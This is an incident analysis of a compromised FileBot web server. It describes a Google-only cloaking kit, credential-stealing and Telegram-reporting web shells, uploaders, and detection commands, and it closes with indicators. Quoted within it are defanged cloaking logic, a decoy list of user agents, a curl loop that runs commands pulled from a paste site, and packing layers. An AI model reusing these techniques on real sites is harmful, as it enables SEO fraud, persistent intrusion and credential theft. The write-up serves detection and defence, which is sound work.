What happened
In October the developer of FileBot, a long-time friend of mine, found his phpBB forum taken over and posted about it publicly. Digging through file-system snapshots he found files that should not exist, going back as far as his oldest snapshot. He sent me three archives of what he found: the oldest snapshot of the main site from 25 September, the main site as it stood on 25 October, and the app. subdomain. This post is what those files say.
The headline: the first intrusion was not vandalism, it was SEO fraud. From 15 August a cloaking kit made filebot.net show a different page to Google only. People, monitoring tools and even AI crawlers kept seeing the real site, which is why nobody noticed for two months. Later a second crew found the same server, took the cloak over, and filled the site with web shells, uploaders and a Telegram-reporting backdoor. A third, stock web shell sits beside both.
Everything below comes from static analysis. No sample was executed. Each obfuscation layer was decoded as plain data in an isolated folder, and the samples were deleted afterwards.
Reader box: is your site showing Google something else?
Both cloaks in this incident decide by the User-Agent header alone. So the fastest check is to fetch your own homepage twice, once as a browser and once claiming to be Googlebot, and compare:
URL=https://example.com/
curl -s -A 'Mozilla/5.0' "$URL" > human.html
curl -s -A 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)' "$URL" > google.html
diff -q human.html google.html && echo "same page" || echo "DIFFERENT: look at google.html"
On the server itself, these read-only checks catch every technique described below:
# a per-directory php.ini that injects code before every page
find /var/www /home -name .user.ini -exec grep -H auto_prepend_file {} \;
# an index.php next to a static index.html (the static site quietly became PHP)
find /var/www /home -name index.php -execdir test -e index.html \; -print
# PHP files claiming to be WordPress on a site that isn't WordPress
grep -rl "WordPress Core Bootstrap and Application Initialization Layer" /var/www /home
# processes dressed as kernel threads (real ones have no arguments)
ps -eo user,pid,args | awk '$3 ~ /^\[/ && NF > 3 && $NF != "<defunct>"'
If you have Google Search Console, also open Settings → Users and permissions and look for owners you don't recognise. Both crews here wanted to verify themselves as owners of the site.
Timeline
The 25 September snapshot still has its original timestamps, so it dates the first intrusion. The October archives only carry copy times.
- 9 June:
index.html.bak, the real homepage right after a release. This is the baseline. - Before 15 August, 07:35:
license.php(a cloaking control panel) andvalidate.php(a credential-stealing shell) are uploaded. Both carry a faked modification time of2021-12-09 15:14, almost certainly copied from a neighbouring legitimate file so they blend in. - 15 August, 07:35: a hidden
.4ca7d9e765.metafile appears. It holds the hash of the panel's access token, created by its "first setup" step. This is the earliest hard date. - 15 August, 07:50 to 08:08: the
.user.inihook, a.render-cache/folder, a test page (cloakdbg.php) and the first cloakedindex.php. - 17 August, 15:45:
render.lockis created. That file is the cloak's on switch, so this is when Google started seeing a different page. - Between late September and 25 October: a second crew replaces the cloak with their own, plants uploaders and shells across the main site, the app subdomain and the forum tree, adds Google Search Console verification tokens, and runs remote-control loops on the server.
Stage one: "NOX", a Google-only cloak
The first crew used a kit that names itself NOX. Its control panel is in Turkish: "NOX — İlk Kurulum" (first setup), "Cloak İşlemleri" (cloak operations), "HTML Düzenleyici" (HTML editor) and "Google Search Console Doğrulama" (Search Console verification).
The hook: no edits to the site's code
PHP reads a per-directory .user.ini, and one line in it was enough:
auto_prepend_file = "/home/<site-user>/filebot.net/class-cache-helper.php"
From then on PHP runs that file before every PHP page on the site, without a single line of the real code changing. A diff of the application would show nothing.
The trick: turning a static homepage into PHP
filebot.net's homepage is a static index.html, so a PHP hook would never fire on it. The kit's answer was to create an index.php that is a copy of index.html with the cloak stuck on top. The server's directory index tries index.php first when both exist, so / quietly became a PHP page that looks byte-for-byte like the real one. The first copy (kept as index.php.nox-bak) is identical to the real page. The later copy differs by a single full stop: the kit refreshed it from the live page so nobody would notice a stale homepage.
The cloak: Google sees spam, everyone else sees FileBot
Defanged, the logic is:
if switch_file_exists("render.lock")
and user_agent matches Googlebot | AdsBot-Google | Mediapartners-Google | Google-InspectionTool | GoogleOther
and user_agent matches none of DECOYS
and path is "/" or "/index.php" or "/index.html":
serve the file ~/.nox-content/cache-check-verify.html (outside the web root)
stop
The decoy list is the clever part. It names the tools a site owner would use to check their own site: curl, wget, Python, Go, Java, Scrapy, Puppeteer, Playwright, headless Chrome, Bing, Yandex, DuckDuckGo, Baidu, Ahrefs, Semrush, Majestic, Screaming Frog, Lighthouse, PageSpeed, GTmetrix, Pingdom, UptimeRobot, New Relic, Facebook, Twitter and LinkedIn link previews, and the AI crawlers: GPTBot, ChatGPT, ClaudeBot, PerplexityBot, Applebot, Amazonbot, Bytespider. Any of those got the real page. Only Google got the spam, and the spam page itself lived outside the web root where a quick look at the site's folder wouldn't find it.
The kit also carries a debug page, cloakdbg.php, that prints whether the switch is on, whether the spam file exists, and whether the current visitor counts as Googlebot or as a decoy. In other words, the operators tested the cloak against their own decoy list before switching it on.
The panel
license.php opens with a // @wp-module-id comment to look like part of WordPress. It is a JSON API rather than a page for a human: it turns cookies off, swallows every PHP error, and answers in JSON. It:
- detects the platform (WordPress, Joomla, Laravel, Drupal, OpenCart, PrestaShop) and the server (Apache, LiteSpeed, mod_php);
- installs the two "vectors" (the
.user.iniprepend and theindex.phpcopy) and only createsrender.lock"as the last step, if every vector succeeded"; - purges every cache so the change takes effect at once: a LiteSpeed purge, a
kill -USR2to php-fpm,php artisan optimize:clearon Laravel. One status message gives the language away: "USR2 gönder", Turkish for "send USR2"; - links Google's Rich Results test, so the operator can see the site the way Google does;
- and has a Search Console verification step, to claim the site in Google's tools.
The credential stealer
validate.php is packed as eval(base64_decode(...)) around goto-scrambled code with every string hex- or octal-escaped. Unpacked, it is a password-protected file manager and command runner with one telling function, extract_credentials($content, $cms): it scans config files for DB_HOST, DB_USER, DB_PASSWORD, $user = '…', 'password' => '…' and similar. Whatever database the web user could read, this file could hand over. The same file turned up again in October under a new name, getting-started/fullscreen.php.
Stage two: the takeover
Some time after late September a different crew arrived. Their code is commented in Indonesian, their session key is APOLLON, and their branding points to "ApollonDestroyer / Sg-Team". This is the crew rednoah saw running on the server.
They hijacked the hijack
The October homepage no longer carries NOX. Its index.php now starts by printing two google-site-verification meta tags, then does this (defanged):
page = fetch("https://wisdomkingapx[.]com/filebot/lp.html") // on EVERY request
if user_agent matches /googlebot|slurp|adsense|inspection|ahrefsbot|telegrambot|bingbot|yandexbot/:
print page
stop
// otherwise fall through to the real homepage
Two details stand out. The landing page lives under a path made for this one victim (/filebot/). And it is fetched on every homepage request, before the user agent is even checked, so the server talks to that domain all day, which outbound DNS or firewall logs would show. The fetch helper is called mangsud, Indonesian slang. The same cloak, packed again, guards /getting-started/.
A web shell that reports home
The crew's main backdoor appears in three places: plain in consigment.php (behind the same fake WordPress comment), and heavily packed in two folders. The packed copy is a nice example of how far this goes. A parse_str() call builds an array of function names out of URL-encoded fragments separated by junk comments:
parse_str('0=%41%52' /*junk*/ . '%52%41' /*junk*/ . '%59%5F%4D%61%70' /*junk*/ . '&1=%52%41…', $a);
// $a = [ARRAY_Map, RAwURLdecoDe, BaSe64_DECoDE, STr_RoT13, sTRrEv,
// cReate_fUNCtiOn, GZUnCoMpress, hTMLSPECiAlChArs_dECODE, GzINfLATE]
Then one eval() wraps eighteen nested calls into that array around a single string: strrev, str_rot13, base64_decode, gzuncompress, and again, ending in gzinflate. Undone in reverse, the eighteen layers come down to about three kilobytes of very ordinary PHP: a login form (bcrypt-checked password passed as ?password=), a file manager, and this function:
// "Fungsi kirim notifikasi ke Telegram" (function: send a notification to Telegram)
send_telegram_notification($password)
-> https://api.telegram.org/bot<token>/sendMessage
"Shell Detected": time, domain, directory, referrer, IP address, password
Every successful login to the shell pings the crew's Telegram bot with the site, the folder and the password used. That is how these crews keep an inventory of the servers they hold.
An uploader in a WordPress costume
On the app subdomain the homepage had been replaced by a 17 KB file that is almost entirely a fake comment block ("WordPress Core Bootstrap and Application Initialization Layer … Do Not Delete This Line"), on a site that has never run WordPress. The real code is three lines of goto spaghetti. Decoded:
if GET["66"] == "apollon":
show an upload form, target folder defaulting to the current directory
if a file was posted:
copy it to POST["dir"] + "/" + its name // any folder the web user can write
print "UPLOAD FILE TO <path>"
otherwise: a blank page
This is the stage-one dropper: small, quiet, and enough to bring in everything else.
Shell locks
A crew that takes over a server doesn't want the next crew to do the same. In /resources/ they dropped an .htaccess that denies every PHP and HTML file in the folder, then a sub-folder with its own .htaccess that switches PHP back on just for itself. Their shell keeps working; anyone else's shells in that tree stop. The same pair was planted inside phpBB's own forums/, a folder nobody ever opens.
A small curiosity: the /resources/ sub-folder's real name contains an @. In the archive it shows as "[email protected]", which is what Cloudflare's email obfuscation writes over anything that looks like an address. Somewhere along the way the folder name passed through a web page behind Cloudflare.
ALFA, rebranded
The crew also brought the ALFA web shell, a widely circulated PHP control panel, with their own header ("Author: ApollonDestroyer/Sg-Team", a Telegram handle and a YouTube channel), the login apollon (the same word that unlocks the uploader), and a fake HTTP 500 page as its login screen. The apx in one of the Telegram handles matches the wisdomkingapx domain the cloak pulls from.
On the server: remote control by paste site
The process list rednoah captured shows how the crew drove the box once they had a shell (trimmed):
bash -c URL="https://pastefy[.]app/<id>/raw" while true; do tmp=$(mktemp); curl -s -f -L -o "$tmp" "$URL" … (twice)
[kworker/0:1] a.py https://app.filebot.net/
[kworker/0:1] a.py https://www.filebot.net/
./suo -l -s ********** -i
sshd: <site-user>@pts/1 … pts/5
- The paste loops download a paste and run it whenever it changes, so the attacker steers the server by editing a paste on a public site.
[kworker/0:1] a.pyis a Python script renamed to look like a kernel worker thread. Real kernel threads have no arguments and never run as a web user.suoguesses passwords forsu: an attempt at root.- The
sshdsessions mean they had planted an SSH key for the web user and were logging in interactively.
The third shell: stock ALFA 4.1
One more file appears twice on the app subdomain (configs.php and a copy hidden as data/forusm.php, a misspelt "forum") and once on the main site (eula-form.php). It is ALFA Shell 4.1, packed in three layers:
eval(base64_decode('…')) // layer 1
→ goto-scrambled code with an escaped string $Lix // layer 2
→ eval('?>' . gzuncompress(gzinflate(base64_decode(strrev($Lix))))) // layer 3
→ 367 KB of plain ALFA 4.1
Its login is root, with a fake 404 as the login page, and its password hash still carries the operator's own note: //md5(ehsan). ALFA's feature list explains why it's popular: a terminal, PHP eval, Perl, Python and SSI CGI shells for servers where PHP's exec functions are disabled, a config grabber that collects every site's database password, symlink tricks to read other users' files, a full MySQL manager, a cPanel cracker, a back-connect shell, a mass defacer, and .htaccess writers that switch mod_security off. On the app subdomain it had dropped its CGI helper: a .htaccess that enables CGI for .alfa files, and a one-line Perl script that runs a base64 cmd through system().
Whether this is a third crew or a stock copy one of the others reused can't be told from the files.
Why nobody noticed for two months
- Humans never saw it. The cloak only answered Google crawlers, and the decoy list covered every tool an owner checks with, AI crawlers included.
- No code changed. The
.user.iniprepend works beside the application, and the cloakedindex.phpis a faithful copy of the real page. - The content lived outside the web root. Looking through the site's folder showed nothing that looked like spam.
- Old dates. The first tools were stamped December 2021.
- Familiar disguises. Fake WordPress comments, names like
license.php,validate.php,configs.php,eula-form.php, folders inside phpBB's own config tree.
Finding the way in without old web logs
The files show what the attackers did after they got in, not how. The foothold predates 15 August, and rednoah's web logs don't reach back that far. These sources don't depend on them:
- Real creation times. Faking a modification time with
touchdoesn't move a file's birth time or change time.stat -c '%w %z %y %n'on the planted files shows when they really arrived. - The file they copied the date from. Searching for files modified in that exact minute (see below) finds the legitimate file used as the template, and its folder is a good guess for where they landed first.
- Login records.
lastlogkeeps each account's last login indefinitely, andlastreads the rotated wtmp files. A password login for the web user before August would point at stolen credentials. - Application databases. phpBB's admin log, login attempts and user tables are never rotated.
- One user, many sites. Every site under the same system user shares its fate: a forgotten script on one subdomain opens all of them.
- Bought access. Cloaking operations often buy hosting, SSH or control-panel logins harvested by infostealer malware rather than breaking in themselves. If the hosting password was ever saved in a browser on an infected machine, that is the classic route.
- Google Search Console shows when unknown owners verified, and the Performance report shows when spam queries started.
# real arrival times of planted files (birth, change, faked modification)
stat -c '%w %z %y %n' license.php validate.php
# the legitimate file whose timestamp was copied
find /home/<user> -newermt '2021-12-09 15:14' ! -newermt '2021-12-09 15:15'
# last logins for the site's user
lastlog -u <user>; last -F -w <user>
Lessons for anyone running PHP sites
- Don't run PHP where you don't need it. A static site should be served by a virtual host with PHP off. Here, PHP being available next to a static
index.htmlis what made the cloak possible. - Disable per-directory ini files if you don't use them:
user_ini.filename =(empty) in the mainphp.ini. - One system user per site, so one hole doesn't open every site, the forum and the home directory.
- No PHP execution in writable folders (uploads, caches, data), enforced by the web server rather than by
.htaccessfiles the attacker can rewrite. - Watch outbound traffic. A web server has no business talking to paste sites or to the Telegram bot API.
- Check your site as Google sees it now and then: the curl comparison above, or Search Console's URL inspection.
- After a compromise, rebuild rather than clean, rotate everything the web user could read, and if you ship software from that server, verify every download against known-good builds.
Indicators
SHA-256
c0f40bf0b24ca9b2ae8ba1ef739c746b07a42000eaf193f657c4ef6553696884 license.php (NOX panel)
799a05ee72f3e593f2e031c677396af3a04e96fa375776aec209b69221e0f217 validate.php = getting-started/fullscreen.php (credential stealer)
f059783bf5af7d95536e9493678beb0115cb01433864b853001bdb55dbc8c3e8 class-cache-helper.php (NOX cloak)
1bd90d1dbdb7ca10dedf8551303d6959a623aada987963f021a3300317d389e4 cloakdbg.php (NOX test page)
5864705a2aae66a4e283355feebb8f1e6544962a21b70e47b9a120d43fa9b144 index.php, September (NOX cloak + copied homepage)
76e8572a0a87a32db533f9fce62ec89eb14b2b4ed4d28125a111849119eba5c1 index.php, October (wisdomkingapx cloak)
9df88b580ce5d86c52ab5e97ad16d3e185385e40c3d225c047772228b38f9631 getting-started/index.php (packed cloak)
485f9cb97f879d4c13b4ff6e4ed79d87a3cc6e600d714ee6794647c37b9f8a86 consigment.php (APOLLON shell)
3118ccbb9966ecb6eb2610267437f8c014892c803387012b3b38abf812f61dcd APOLLON shell, 18-layer packed copy
4c1442c71b66e2c366855f5fc9baf15d5e19af0f91e4938386e1879613e34e7d .htaccess shell lock (deny)
12d204829a93b3660f0fd2b3f4441b4af67fd85bfbf2202ee3cbbe65f2d3ed45 .htaccess shell lock (allow, own folder)
52b67d8b1859820bff1b39bf7bb91a34fb5309e87cd157c0fb368f766fb51592 uploader in WordPress costume (?66=apollon)
8f45ead2318f012324be580539641801c4989cd170d7b5bd4ab8d60275a1dcd4 ALFA, rebranded ApollonDestroyer (login apollon)
29f97fe87463a657b13e230fac8ee7a1b65e6afeec9d51132526106c891d730e ALFA 4.1 packed (configs.php = forusm.php = eula-form.php)
f82fd317860454606003aa9dc7efde284d851424730e229f19c50d60206311b8 alfacgiapi/perl.alfa
915cd2fe3b324bd7f534f80e6963acf646d6f82ddc331a5f664f8c50a0493188 alfacgiapi/.htaccess
Network and accounts
wisdomkingapx[.]com(cloak landing pages, path/filebot/lp.html)pastefy[.]apppastes used as a command channel- Telegram bot id
8962005428, chat5966189401(receives shell logins) - Google Search Console verification tokens planted by the second crew:
eXCehoQ8FJvpPrN0wqtV1TakJqsWU3Q9kliAr1j_ZCo
ZyGeNHblpV7_8OgLIWZsEGT9pffeSdm5SzQY6PLgh-Q
Strings worth grepping for
NOX-CLOAK _nox_ nox-content render.lock wp-module-id extract_credentials
APOLLON send_telegram_notification mangsud wisdomkingapx
WordPress Core Bootstrap and Application Initialization Layer 66=apollon
ALFA_SHELL_CODE __ALFA_VERSION__ alfacgiapi Sole Sad md5(ehsan)
auto_prepend_file (inside any .user.ini)
Thanks to rednoah for sharing the samples. If you run a site and any of the above looks familiar, start with the reader box at the top.